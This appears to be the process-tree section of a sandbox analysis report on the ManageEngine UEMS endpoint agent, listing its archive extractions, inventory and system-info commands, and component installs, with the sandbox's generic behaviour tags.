C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\EPMErrorCodes.xml.gz" *5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:1752
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patch-dependency-details.xml.gz" *5⤵
- Executes dropped EXE
PID:3584
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\ud-supported-patch-details.json.gz" *5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2484
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patchresource.json.gz" *5⤵
- Executes dropped EXE
PID:1836
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\applications.json.gz" *5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:376
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\eol-service-packs.json.gz" *5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4724
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\os-servicing-data.json.gz" *5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:3788
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\running-exe-checks.json.gz" *5⤵
- Executes dropped EXE
PID:1244
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\vulnerable-patch-scan-data.xml.gz" *5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:1988
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\patchresource-vul.xml.gz" *5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:3792
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\applications-vul.xml.gz" *5⤵
- Executes dropped EXE
PID:2872
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\vulnerable-scan-data.xml.gz" *5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:888
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\misconfig-scan-data.xml.gz" *5⤵
- Executes dropped EXE
PID:1400
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\ServerDetectionChecks.dll.gz" *5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2092 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵PID:4952
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\ServerDetectionChecks.dll.gz" ServerDetectionChecks.dll5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:1856 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵PID:5000
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\component-details.json.gz" *5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:3436
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\coveragex.exe.gz" *5⤵
- Executes dropped EXE
PID:1036
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\coveragex.exe.gz" coveragex.exe5⤵
- Executes dropped EXE
PID:2760 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵PID:2872
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\component-scan-data\windows-component-details.zip" *5⤵
- System Location Discovery: System Language Discovery
PID:1016
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\component-details.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\component-details.json""5⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
PID:3228 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\component-details.json.gz" -so6⤵
- System Location Discovery: System Language Discovery
PID:2624
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\component-meta-data.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\component-meta-data.json""5⤵
- Executes a command shell one-liner
PID:4436 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\component-meta-data.json.gz" -so6⤵PID:916
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\java-component-details.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\java-component-details.json""5⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
PID:2820 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\java-component-details.json.gz" -so6⤵PID:176
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\npm-component-details.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\npm-component-details.json""5⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
PID:4960 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\npm-component-details.json.gz" -so6⤵
- System Location Discovery: System Language Discovery
PID:4488
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\php-component-details.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\php-component-details.json""5⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
PID:5064 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\php-component-details.json.gz" -so6⤵PID:2024
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\python-component-details.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\python-component-details.json""5⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
PID:5020 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\python-component-details.json.gz" -so6⤵PID:5036
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\MisconfigEngine.dll.gz" *5⤵PID:916
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\MisconfigEngine.dll.gz" MisconfigEngine.dll5⤵PID:5104
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaap.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\meaap.exe" -m 1 -a 7093261d-e605-4137-be02-f2a185eeaad25⤵
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:404 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe" -n 7093261d-e605-4137-be02-f2a185eeaad2 -f "--" -c val-win -m "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\Vulnerability-metadata.json" -a 16⤵
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
PID:2440
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe" -n 7093261d-e605-4137-be02-f2a185eeaad2 -c val-win -m "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\Vulnerability-metadata.json" -e enabled -a 36⤵
- System Location Discovery: System Language Discovery
PID:2144
-
-
-
C:\Windows\system32\CompatTelRunner.exe"C:\Windows\system32\CompatTelRunner.exe" -m:appraiser.dll -f:DoScheduledTelemetryRun5⤵
- Modifies data under HKEY_USERS
PID:4460 -
C:\Windows\system32\compattelrunner.exeC:\Windows\system32\compattelrunner.exe -m:GeneralTel.dll -f:RunGeneralTelemetry -cV +HxKhnF3SEqLaDUx.3 -SendFullTelemetry -ThrottleUtc -FullSync6⤵PID:6088
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /C systeminfo.exe > "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\logs\systeminfo.log"4⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1372 -
C:\Windows\SysWOW64\systeminfo.exesysteminfo.exe5⤵
- System Location Discovery: System Language Discovery
- Gathers system information
PID:2504
-
-
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2760
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1712 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\CRU_Reporter.exeCRU_Reporter.exe -RegisterCRU2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4440
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusbsummary.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusbsummary.exe" -s ET_ENUM 9 2 "Unknown"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Checks SCSI registry key(s)
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1496 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusb64.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusb64.exe" -s 93⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
PID:860
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcconfig.exe7 0 02⤵
- Drops file in Program Files directory
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:880
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exebin\dcstatusutil.exe RequestAgentSlotFromServer2⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- Modifies data under HKEY_USERS
PID:3700
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe"2⤵
- Drops file in Program Files directory
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:3296
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcswmeter.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\dcswmeter.exe" -s ET_COL2⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
PID:3812
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\dcinventory.exe" -s prenotify2⤵
- Drops file in Program Files directory
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:2312
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcconfig.exe3 0 02⤵
- Drops file in Program Files directory
- Executes dropped EXE
- Modifies trusted root certificate store through registry
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:860 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcconfig.exe163⤵
- Drops file in Program Files directory
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- Modifies data under HKEY_USERS
PID:1296
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exebin\dcinventory.exe -p processor compatibility3⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:4280
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcuploadlogs.exerefresh3⤵
- Drops file in Program Files directory
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:1244
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json.gz" OSDetection.json3⤵
- Executes dropped EXE
PID:2168
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\\OSDetection.json.gz" OSDetection.json3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4744
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\deployment-policies.xml2612.tmp" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\deployment-policies.xml2612.tmpnew""3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
PID:4376 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\deployment-policies.xml2612.tmp" -so4⤵
- Executes dropped EXE
PID:2008
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcdriverupdates.dll.gz" dcdriverupdates.dll3⤵PID:5036
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\drvforceupdate.exe.gz" drvforceupdate.exe3⤵PID:1664
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcpatchutils.dll.gz" dcpatchutils.dll3⤵
- System Location Discovery: System Language Discovery
PID:1528
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\ServerDetectionChecks.dll.gz" ServerDetectionChecks.dll3⤵
- Drops file in Program Files directory
PID:1076 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵PID:1856
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\coveragex.exe.gz" coveragex.exe3⤵PID:4756
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\component-scan-data\windows-component-details.zip" *3⤵
- System Location Discovery: System Language Discovery
PID:2868
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\component-details.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\component-details.json""3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
PID:4544 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\component-details.json.gz" -so4⤵
- System Location Discovery: System Language Discovery
PID:2788
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\component-meta-data.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\component-meta-data.json""3⤵
- Executes a command shell one-liner
PID:1664 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\component-meta-data.json.gz" -so4⤵PID:2864
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\java-component-details.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\java-component-details.json""3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
PID:5080 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\java-component-details.json.gz" -so4⤵
- System Location Discovery: System Language Discovery
PID:1080
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\npm-component-details.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\npm-component-details.json""3⤵
- Drops file in Program Files directory
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
PID:4756 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\npm-component-details.json.gz" -so4⤵
- System Location Discovery: System Language Discovery
PID:3864
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\php-component-details.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\php-component-details.json""3⤵
- Executes a command shell one-liner
PID:888 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\php-component-details.json.gz" -so4⤵PID:868
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\python-component-details.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\python-component-details.json""3⤵
- Drops file in Program Files directory
- Executes a command shell one-liner
PID:4848 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\python-component-details.json.gz" -so4⤵
- System Location Discovery: System Language Discovery
PID:4208
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\MisconfigEngine.dll.gz" *3⤵PID:4184
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\MisconfigEngine.dll.gz" MisconfigEngine.dll3⤵PID:4516
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcnacprocess.exe33⤵
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
PID:3792
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaap.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaap.exe" -m 1 -c Refresh3⤵
- Reads the TCP/IP host and domain name from the registry
- Modifies data under HKEY_USERS
PID:1052 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe" -n 9ff13e98-156a-40a8-a2f0-1966149487e5 -f "C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\acp_component.zip" -c acp -m "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\ApplicationControl-metadata.json" -a 14⤵PID:5544
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\acp_component.zip" -o"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\appctrl\bin\"5⤵PID:5468
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\bin\VerifyTrustedFiles.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\bin\VerifyTrustedFiles.exe" -PostUpgrade5⤵PID:5148
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\bin\VerifyTrustedFiles.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\bin\VerifyTrustedFiles.exe"6⤵PID:5100
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\bin\dcprocmon.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\bin\\dcprocmon.exe"7⤵PID:1796
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcconfig.exe30 0 08⤵PID:3000
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\bin\ACPipelogServer.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\bin\\ACPipelogServer.exe"7⤵PID:7088
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\bin\Privilager.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\bin\\Privilager.exe"7⤵PID:7060
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\bin\Privilager.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\bin\Privilager.exe" RegisterContextMenu7⤵PID:7044
-
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\bin\VerifyTrustedFiles.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\bin\VerifyTrustedFiles.exe" -install5⤵PID:2144
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe" -n d57c4dc4-daa3-496d-85ce-28fc06cd5c6e -f "C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\DeviceControl.zip" -c dcm-win -m "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\DeviceControl-metadata.json" -a 24⤵PID:6596
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagenttrayicon.exedcagenttrayicon.exe -r5⤵PID:6532
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagenttrayicon.exedcagenttrayicon.exe5⤵PID:6468
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\DeviceControl.zip" -o"C:\Program Files (x86)\ManageEngine\UEMS_Agent\"5⤵PID:6456
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagenttrayicon.exedcagenttrayicon.exe -r5⤵PID:5328
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagenttrayicon.exedcagenttrayicon.exe5⤵PID:5464
-
-
-
